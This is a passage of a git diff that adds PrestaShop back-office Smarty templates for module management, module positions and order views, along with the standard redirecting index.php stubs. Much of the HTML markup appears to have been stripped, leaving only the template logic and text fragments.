{/if} + {if $check_openssl eq 'ko'}- {l s='Enable php openSSL extension'}
{/if} +
+ {else} + +
+

{l s='Do you have a %s account?' sprintf='PrestaShop Addons'}

+
+ + + +
+
+
+ + {/if} + {/if} +
 
+{/if} + + + +
+
+ + +
+
+
+ + + +   + +   + +   + +
+
+ + +
+
+
+ diff --git a/BO/themes/default/template/controllers/modules/header.tpl b/BO/themes/default/template/controllers/modules/header.tpl new file mode 100755 index 0000000..9d290bf --- /dev/null +++ b/BO/themes/default/template/controllers/modules/header.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+ +
+

Module : {l s='List of modules'}

+
+
+
+ +{if $add_permission eq '1'} +
+
+ {l s='Add a new module'} {l s='Add a new module'} +

{l s='The module must either be a zip file or a tarball.'}

+
+
+ +
+ +

{l s='Upload a module from your computer.'}

+
+
+ +
+
+
+
+
+
+{/if} + diff --git a/BO/themes/default/template/controllers/modules/index.php b/BO/themes/default/template/controllers/modules/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules/js.tpl b/BO/themes/default/template/controllers/modules/js.tpl new file mode 100755 index 0000000..d920b66 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/js.tpl @@ -0,0 +1,367 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules/list.tpl b/BO/themes/default/template/controllers/modules/list.tpl new file mode 100755 index 0000000..aaee816 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/list.tpl @@ -0,0 +1,126 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if count($modules)} + + + + + + + + + + {foreach from=$modules item=module} + + + + + + + {/foreach} + +
+
+
{l s='Module name'}
+ {if (isset($module->id) && $module->id > 0) || !isset($module->type) || $module->type != 'addonsMustHave'} + confirmUninstall) OR empty($module->confirmUninstall)}rel="false"{else}rel="{$module->confirmUninstall|addslashes}"{/if} + class="noborder"> + {/if} + +
+

{$module->displayName} + {if isset($module->type) && $module->type == 'addonsMustHave'} + {l s='Must Have'} + {else} + {if isset($module->id) && $module->id gt 0} + {l s='Installed'} + {else} + {l s='Not installed'} + {/if} + {/if} +

+ +

{if isset($module->description) && $module->description ne ''}{l s='Description'} : {$module->description}{else} {/if}

+ {if isset($module->message)}
{$module->message}
{/if} +
+ {if !isset($module->not_on_disk)} + {$module->optionsHtml} + {if isset($module->preferences) && $module->preferences['favorite'] == 1} + {l s='Remove from Favorites'} + + {else} + + {l s='Mark as Favorite'} + {/if} + {else} +   + {/if} +
+
+
+ +
+ +
+ + +
+{else} +

{l s='No modules available in this section.'}

+{/if} diff --git a/BO/themes/default/template/controllers/modules/page.tpl b/BO/themes/default/template/controllers/modules/page.tpl new file mode 100755 index 0000000..ea759f1 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/page.tpl @@ -0,0 +1,72 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+ {include file='controllers/modules/header.tpl'} + {include file='controllers/modules/filters.tpl'} + {if $upgrade_available|@count} +
+ {l s='An upgrade is available for some of your modules!'} + +
+ {/if} + + +
+ + +
+ {include file='controllers/modules/list.tpl'} +
+
+
diff --git a/BO/themes/default/template/controllers/modules/tab_module_line.tpl b/BO/themes/default/template/controllers/modules/tab_module_line.tpl new file mode 100755 index 0000000..8c860d2 --- /dev/null +++ b/BO/themes/default/template/controllers/modules/tab_module_line.tpl @@ -0,0 +1,77 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + + + +
+ + +
+

+ {$module->displayName|truncate:40:'…'} {$module->version} + {if isset($module->id) && $module->id gt 0 } + {if $module->active} + {l s='Enabled'} + {else} + {l s='Disabled'} + {/if} + {else} + {if isset($module->type) && $module->type == 'addonsMustHave'} + {l s='Must Have'} + {else} + {l s='Not installed'} + {/if} + + {/if} +

+

+ {if isset($module->description) && $module->description ne ''} + {$module->description|truncate:100:'…'} + {else} +   + {/if} +

+
+
+ {if isset($module->type) && $module->type == 'addonsMustHave'} + +   {displayPrice price=$module->price currency=$module->id_currency} + {else if !isset($module->not_on_disk)} + {$module->optionsHtml} +
 
+ {l s='Submit'} + {else} + {l s='Install'} + {/if} +
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules/tab_modules_list.tpl b/BO/themes/default/template/controllers/modules/tab_modules_list.tpl new file mode 100755 index 0000000..a68e7bf --- /dev/null +++ b/BO/themes/default/template/controllers/modules/tab_modules_list.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($tab_modules_list) && !empty($tab_modules_list)} + + +
+ {if count($tab_modules_list.installed)} + + {foreach from=$tab_modules_list.installed item=module} + {include file='controllers/modules/tab_module_line.tpl' class_row={cycle values=",rowalt"}} + {/foreach} +
+ {/if} + {if count($tab_modules_list.not_installed)} + + {foreach from=$tab_modules_list.not_installed item=module} + {include file='controllers/modules/tab_module_line.tpl' class_row={cycle values=",rowalt"}} + {/foreach} + + {/if} +
+{/if} +

{l s='More options'}

\ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules_positions/form.tpl b/BO/themes/default/template/controllers/modules_positions/form.tpl new file mode 100755 index 0000000..ebd8d9d --- /dev/null +++ b/BO/themes/default/template/controllers/modules_positions/form.tpl @@ -0,0 +1,105 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+ +
+ {if $display_key} + + {/if} +
+ {l s='Transplant a module'} + +
+ * +
+ +
+ * +
+ + + + +
+ {if !$except_diff} + {$exception_list} + {else} + {foreach $exception_list_diff as $value} + {$value} + {/foreach} + {/if} + {l s='Please specify the files for which you do not want the module to be displayed.'}.
+ {l s='Please input each filename, separated by a comma.'}. +

+
+ +
+ {if $edit_graft} + + + {/if} + +
+
* {l s='Required field'}
+
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules_positions/index.php b/BO/themes/default/template/controllers/modules_positions/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/modules_positions/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/modules_positions/list_modules.tpl b/BO/themes/default/template/controllers/modules_positions/list_modules.tpl new file mode 100755 index 0000000..623e83d --- /dev/null +++ b/BO/themes/default/template/controllers/modules_positions/list_modules.tpl @@ -0,0 +1,132 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+ +
+
+ {l s='Show'} : + +

+   + +
+
+
+
+ + +
+ \ No newline at end of file diff --git a/BO/themes/default/template/controllers/not_found/content.tpl b/BO/themes/default/template/controllers/not_found/content.tpl new file mode 100755 index 0000000..6793352 --- /dev/null +++ b/BO/themes/default/template/controllers/not_found/content.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +

{l s='The controller %s is missing or invalid.' sprintf=$controller}

+
diff --git a/BO/themes/default/template/controllers/not_found/index.php b/BO/themes/default/template/controllers/not_found/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/not_found/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/order_preferences/helpers/index.php b/BO/themes/default/template/controllers/order_preferences/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/order_preferences/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/order_preferences/helpers/options/index.php b/BO/themes/default/template/controllers/order_preferences/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/order_preferences/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/order_preferences/helpers/options/options.tpl b/BO/themes/default/template/controllers/order_preferences/helpers/options/options.tpl new file mode 100755 index 0000000..e990347 --- /dev/null +++ b/BO/themes/default/template/controllers/order_preferences/helpers/options/options.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/options/options.tpl"} + +{block name="after"}{/block} diff --git a/BO/themes/default/template/controllers/order_preferences/index.php b/BO/themes/default/template/controllers/order_preferences/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/order_preferences/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/orders/_customized_data.tpl b/BO/themes/default/template/controllers/orders/_customized_data.tpl new file mode 100755 index 0000000..7e5b10b --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_customized_data.tpl @@ -0,0 +1,148 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $product['customizedDatas']} + + + + {if isset($product['image']) && $product['image']->id|intval}{$product['image_tag']}{else}--{/if} + + + {$product['product_name']} - {l s='Customized'}
+ {if ($product['product_reference'])}{l s='Ref:'} {$product['product_reference']}
{/if} + {if ($product['product_supplier_reference'])}{l s='Ref Supplier:'} {$product['product_supplier_reference']}{/if} +
+ + + {displayPrice price=$product['product_price_wt'] currency=$currency->id|intval} + {if $can_edit} + + {/if} + + {$product['customizationQuantityTotal']} + {if ($order->hasBeenPaid())}{$product['customizationQuantityRefunded']}{/if} + {if ($order->hasBeenDelivered() || $order->hasProductReturned())}{$product['customizationQuantityReturned']}{/if} + {if $stock_management} - {/if} + + {if ($order->getTaxCalculationMethod() == $smarty.const.PS_TAX_EXC)} + {displayPrice price=Tools::ps_round($product['product_price'] * $product['customizationQuantityTotal'], 2) currency=$currency->id|intval} + {else} + {displayPrice price=Tools::ps_round($product['product_price_wt'] * $product['customizationQuantityTotal'], 2) currency=$currency->id|intval} + {/if} + + +   + +   + + {if ($can_edit && !$order->hasBeenDelivered())} + + {l s='Edit'} + + + {l s='Delete'} + + {/if} + + {foreach $product['customizedDatas'] as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + + + {foreach $customization.datas as $type => $datas} + {if ($type == Product::CUSTOMIZE_FILE)} +
    + {foreach from=$datas item=data} +
  • + {if $data['name']}{$data['name']}{else}{l s='Picture #'}{$data@iteration}{/if}{l s=':'}  + +
  • + {/foreach} +
+ {elseif ($type == Product::CUSTOMIZE_TEXTFIELD)} +
    + {foreach from=$datas item=data} +
  • {if $data['name']}{l s='%s:' sprintf=$data['name']}{else}{l s='Text #%s:' sprintf=$data@iteration}{/if} {$data['value']}
  • + {/foreach} +
+ {/if} + {/foreach} + + - + + + {$customization['quantity']} + {if $can_edit} + + {/if} + + {if ($order->hasBeenPaid())}{$customization['quantity_refunded']}{/if} + {if ($order->hasBeenDelivered())}{$customization['quantity_returned']}{/if} + + - + + + {if ($order->getTaxCalculationMethod() == $smarty.const.PS_TAX_EXC)} + {displayPrice price=Tools::ps_round($product['product_price'] * $customization['quantity'], 2) currency=$currency->id|intval} + {else} + {displayPrice price=Tools::ps_round($product['product_price_wt'] * $customization['quantity'], 2) currency=$currency->id|intval} + {/if} + + + + + + {if ((!$order->hasBeenDelivered() OR Configuration::get('PS_ORDER_RETURN')) AND (int)($customization['quantity_returned']) < (int)($customization['quantity']))} + = $product['product_quantity'])}disabled="disabled" {/if}/> + {else} + -- + {/if} + + + {if ($customization['quantity_returned'] + $customization['quantity_refunded'] >= $customization['quantity'])} + + {elseif (!$order->hasBeenDelivered() OR Configuration::get('PS_ORDER_RETURN'))} + 0/{$customization['quantity']-$customization['quantity_refunded']} + {/if} + + +
{l s='Quantity:'}
+ 0/{$customization['quantity']-$customization['quantity_refunded']} +
+
{l s='Amount:'}
{$currency->prefix}{$currency->suffix}
+ + {if ($can_edit && !$order->hasBeenDelivered())} + + + {/if} + + {/foreach} + {/foreach} +{/if} diff --git a/BO/themes/default/template/controllers/orders/_discount_form.tpl b/BO/themes/default/template/controllers/orders/_discount_form.tpl new file mode 100755 index 0000000..dc71b2c --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_discount_form.tpl @@ -0,0 +1,76 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
+ +
+ + +
+ +
+ +
+ +
+ {if ($currency->format % 2)} + + {/if} + + {if !($currency->format % 2)} + + {/if} + % + +
+
+ + {if $order->hasInvoice()} + +
+
+ +

+ {l s='If you chooses to create this discount for all invoices, only one discount will be created per order invoice.'} +

+
+ {/if} + +

+   + {l s='Cancel'} +

+ diff --git a/BO/themes/default/template/controllers/orders/_documents.tpl b/BO/themes/default/template/controllers/orders/_documents.tpl new file mode 100755 index 0000000..54b1e85 --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_documents.tpl @@ -0,0 +1,139 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + + + + + + {foreach from=$order->getDocuments() item=document} + + {if get_class($document) eq 'OrderInvoice'} + {if isset($document->is_delivery)} + + {else} + + {/if} + {elseif get_class($document) eq 'OrderSlip'} + + {/if} + + + + + + + + {if get_class($document) eq 'OrderInvoice'} + {if !isset($document->is_delivery)} + + + + {/if} + {/if} + {foreachelse} + + + + {/foreach} + +
{l s='Date'}{l s='Document'}{l s='Number'}{l s='Amount'}
{dateFormat date=$document->date_add} + {if get_class($document) eq 'OrderInvoice'} + {if isset($document->is_delivery)} + {l s='Delivery slip'} + {else} + {l s='Invoice'} + {/if} + {elseif get_class($document) eq 'OrderSlip'} + {l s='Credit Slip'} + {/if} + {if get_class($document) eq 'OrderInvoice'} + {if isset($document->is_delivery)} + + {else} + + {/if} + {elseif get_class($document) eq 'OrderSlip'} + + {/if} + {if get_class($document) eq 'OrderInvoice'} + {if isset($document->is_delivery)} + #{Configuration::get('PS_DELIVERY_PREFIX', $current_id_lang)}{'%06d'|sprintf:$document->delivery_number} + {else} + {$document->getInvoiceNumberFormatted($current_id_lang)} + {/if} + {elseif get_class($document) eq 'OrderSlip'} + #{Configuration::get('PS_CREDIT_SLIP_PREFIX', $current_id_lang)}{'%06d'|sprintf:$document->id} + {/if} {l s='See the document'} + {if get_class($document) eq 'OrderInvoice'} + {if isset($document->is_delivery)} + -- + {else} + {displayPrice price=$document->total_paid_tax_incl currency=$currency->id}  + {if $document->getTotalPaid()} + + {if $document->getRestPaid() > 0} + ({displayPrice price=$document->getRestPaid() currency=$currency->id} {l s='not paid'}) + {else if $document->getRestPaid() < 0} + ({displayPrice price=-$document->getRestPaid() currency=$currency->id} {l s='overpaid'}) + {/if} + + {/if} + {/if} + {elseif get_class($document) eq 'OrderSlip'} + {displayPrice price=$document->amount currency=$currency->id} + {/if} + + {if get_class($document) eq 'OrderInvoice'} + {if !isset($document->is_delivery)} + {if $document->getRestPaid()} + {l s='Set payment form'} + {/if} + {if $document->note eq ''}{l s='Add note'}{else}{l s='Edit note'}{/if}note eq ''} class="js-disabled-action"{/if} /> + {/if} + {/if} +
+

{l s='No documents are available'}

+ {if isset($invoice_management_active) && $invoice_management_active} +

{l s='Generate invoice'}

+ {/if} +
diff --git a/BO/themes/default/template/controllers/orders/_new_product.tpl b/BO/themes/default/template/controllers/orders/_new_product.tpl new file mode 100755 index 0000000..44027fb --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_new_product.tpl @@ -0,0 +1,77 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {l s='Product:'} + + + + + {if $currency->sign % 2}{$currency->sign}{/if} {if !($currency->sign % 2)}{$currency->sign}{/if} {l s='tax excl.'}
+ {if $currency->sign % 2}{$currency->sign}{/if} {if !($currency->sign % 2)}{$currency->sign}{/if} {l s='tax incl.'}
+ + + {if ($order->hasBeenPaid())} {/if} + {if ($order->hasBeenDelivered())} {/if} + 0 + {displayPrice price=0 currency=$currency->id} + + {if sizeof($invoices_collection)} + + {/if} + + + + + + + +

{l s='New invoice information'}

+ +
+ {$carrier->name} +
+
+ + +

{l s='If you don\'t select "Free shipping," the normal shipping cost will be applied.'}

+
+ + diff --git a/BO/themes/default/template/controllers/orders/_print_pdf_icon.tpl b/BO/themes/default/template/controllers/orders/_print_pdf_icon.tpl new file mode 100755 index 0000000..f88070a --- /dev/null +++ b/BO/themes/default/template/controllers/orders/_print_pdf_icon.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License 